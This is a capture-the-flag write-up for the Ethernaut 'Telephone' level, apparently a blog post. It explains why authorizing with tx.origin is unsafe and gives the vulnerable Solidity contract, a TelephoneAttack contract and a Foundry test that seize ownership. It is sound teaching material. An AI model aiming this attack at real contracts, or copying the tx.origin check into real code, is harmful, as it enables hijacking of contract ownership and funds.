Ethereum x Foundry - 0x4 Telephone

Ethereum x Foundry - 0x4 Telephone

·

3 min read

Overview

This level introduces us to the following concept(s):

  • Differences between msg.sender and tx.origin
  • Phishing in Web 3.0

GitHub Repository available at: github.com/0xEval/ethernaut-x-foundry

Objective

To complete the challenge, we will need to:

  • Claim ownership of the contract

Contract Analysis

This is a very short contract that boils down to a single function changeOwner which will transfer the contract's ownership to the address passed in the parameter.

contract Telephone {
    address public owner;

    constructor() {
        owner = msg.sender;
    }

    function changeOwner(address _owner) public {
        if (tx.origin != msg.sender) { // <-- this is what we should look into
            owner = _owner;
        }
    }
}

The problem lies in the if... statement in the function. There is a crucial difference between tx.origin and msg.sender that makes this contract vulnerable:

  • msg.sender is used all the time, so it is crucial to understand. It represents the address where the current (external) function call came from. In other words, msg.sender is the address of the direct caller of a given function.

  • tx.origin is seen less frequently but has its use-cases (when not used carelessly ... wink wink). It represents the address of the initial caller in the call stack. In other words, who started the call (or transaction) at the very beginning.

Here's a small diagram to visually understand the differences between the two:

                     Example Transaction Flow
 ┌───────────────────────────────────────────────────────────────────┐
 │                          intermediary                             │
 │ ┌──────────────┐ calls  ┌────────────┐ calls  ┌────────────┐      │
 │ │  Contract A  ├───────►│ Contract B ├───────►│ Contract C │      │
 │ └──────────────┘        └────────────┘        └────────────┘      │
 │  tx.origin               msg.sender            msg.sender         │
 │     │                        │                     │              │
 │     └► address(A)            └─► address(A)        └─► address(B) │
 │                                                                   │
 └───────────────────────────────────────────────────────────────────┘

The bottom line is that tx.origin should never be used for authorization purposes, as it can lead to devastating phishing attacks.

💡 Recommended reads:

Attacking The Contract

Make sure to read through Part 0 for setup instructions.

We will need to deploy an additional contract TelephoneAttack.sol (our malicious Contract B) which will call the changeOwner() function of the main game contract.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.10; // Latest solidity version

import "./Telephone.sol";

interface ITelephone {
    function changeOwner(address _owner) external;
}

contract TelephoneAttack {
    ITelephone public target;

    constructor(address targetAddress) {
        target = ITelephone(targetAddress);
    }

    //       Step #1                      Step #2                             Step #3
    // <EOA:0x00...deadbeef> --> Calls <Contract:TelephoneAttack> --> Calls <Contract:Telephone>
    // `tx.origin` is the original caller in the callstack (EOA)
    // `msg.sender` in Step #2 is the address of the EOA
    // `msg.sender` in Step #3 is the address of the TelephoneAttack contract
    function attack() public {
        target.changeOwner(msg.sender);
    }
}

Next up, create the Telephone.t.sol test file in the test/ directory that will contain the attack logic (level setup and submission is truncated for clarity):

function testTelephoneHack() public {
    TelephoneAttack attackContract = new TelephoneAttack(levelAddress);
    emit log_named_address("tx.origin", tx.origin);
    emit log_named_address("msg.sender", attacker); // vm cheatcode set to attacker
    attackContract.attack();

    assertEq(telephoneContract.owner(), attacker);
}

Run the attack using the forge test subcommand:

image.png